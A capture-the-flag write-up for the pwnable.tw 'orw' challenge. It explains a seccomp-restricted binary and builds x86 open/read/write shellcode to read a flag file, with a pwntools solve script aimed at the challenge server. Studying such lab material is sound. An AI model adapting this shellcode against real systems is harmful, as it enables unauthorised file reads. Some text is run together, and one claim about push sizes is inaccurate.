Pwnable.tw: orw
Let’s have a quick and succinct write-up for orw - a challenge at pwnable.tw.

Footprinting
Initially, we want to check the file for any notable properties (PIE, Canary, RELRO, etc.).

Based on the output above, there are no protection bits enabled within the binary (except for canary but it does not interfere with our payload afterwards) and therefore it is presumably believed to be quite simple as expected for a 100pts challenge.
For now, we shall have a look into the disassembly code of orw:

What the program does is rather straightforward, as it:
- calls
orw_seccompwhich basically allows onlySYS_open,SYS_readandSYS_writeto be executed thus limited our capability of calling low hanging fruit syscalls likeexecve,systemor such - reads input from STDIN (
SYS_readwith 200 bytes limit) and executes whatever it is as shellcode
That being said, the author simply asks us to practice writing assembly and interacting with given syscalls.
Solution
According to what we have discussed, our shellcode needs to call SYS_open to open the flag at /home/orw/flag, then reads the content therein with SYS_read and finally pipe it to STDOUT using SYS_write. Keep in mind that syscalls have their own dedicated ID, herein 0x5, 0x3, 0x4 for open, read and write, respectively.
You can read more about Linux syscalls and their respective assembly here.

To call a syscall, simply push its ID into EAX then ask INT to execute it.
mov eax, 0x1 ; 0x1 - SYS_exit
int 0x80 ; call it
SYS_open - 0x5
int open(const char *pathname, int flags, mode_t mode);
As demonstrated in the table and the syntax listed, SYS_open takes ebx as its filename, ecx as open access mode and edx as file permission. We thus need:
EBXholds the value of/home/orw/flagECXcould be0(O_RDONLYflag)EDXis not necessary since it is a optional argument, we should leave it as0
Our shellcode for this syscall shall as follows:
push 0x6761 ; ag
push 0x6c662f77 ; w/fl
push 0x726f2f65 ; e/or
push 0x6d6f682f ; /hom
mov ebx, esp ; ESP now has the path /home/orw/flag
xor ecx, ecx ; O_RDONLY
xor edx, edx ; NULL
mov eax, 0x5 ; SYS_open(ebp, ecx, edx)
int 0x80
Note: It is not feasible to push the whole string /home/orw/flag but a 8-byte value onto the stack at once since the program is speaking x32 and that is the reason why we have to divide the string into four separate parts. Follow this link for more information about PUSH instruction.
You can convert the string in reverse using this recipe in CyberChef:

SYS_read - 0x3
ssize_t read(int fd, void *buf, size_t count);
Follows the table and read’s syntax:
EBXis now our file handle returned fromSYS_openand stored inEAXECXholds the buffer for the flag, it could point to any string register dubbedESI,EDIor evenESPEDXis the maximum bytes our buffer shall have,0x50should be enough for the flag
And we have the shellcode for SYS_read:
; ...
mov ebx, eax ; eax has the handle of our file
mov ecx, esp ; ecx now points to esp and uses it as the buffer
mov edx, 0x50 ; ... of 0x50 bytes in size
mov eax, 0x3 ; SYS_read(ebx, ecx, edx)
int 0x80
SYS_write - 0x4
ssize_t write(int fd, const void *buf, size_t count);
Same with those two above, we adhere to the table and its syntax:
EBXis file descriptor which indicates where the program would write and the register’s value should be1- pipe directly to STDOUTECXneeds to point to our flag and it is currently inESPso we shall have it as thatEDXis the number of bytes to be written which returned fromSYS_read, therefore it should beEDX -> EAX
Our shellcode:
; ...
mov edx, eax ; byte_written = eax
mov ebx, 0x1 ; stdout
mov ecx, esp ; flag's buffer
mov eax, 0x4 ; SYS_write
int 0x80
Solve.py
In this final step, gather them all in one place - solve.py:
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./orw')
#p = process([elf.path])
p = remote('chall.pwnable.tw', 10001)
payload = asm(
'''
push 0x6761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 0x5
int 0x80
mov ebx, eax
mov ecx, esp
mov edx, 0x50
mov eax, 0x3
int 0x80
mov ecx, esp
mov edx, eax
mov ebx, 0x1
mov eax, 0x4
int 0x80
push 0x1
pop eax
int 0x80
'''
)
print(f'Payload size: {len(payload)}') # just to make sure our payload won't exceed 200 bytes limit
p.sendline(payload)
p.interactive()
The script shows that our payload has the size of 70 bytes and we have the flag subsequently. It is still worth mentioning that we can reduce the size of the payload by replacing mov with push; pop instruction since the latter two only consist of 3 bytes in total whereas mov is of 5-bytes itself.
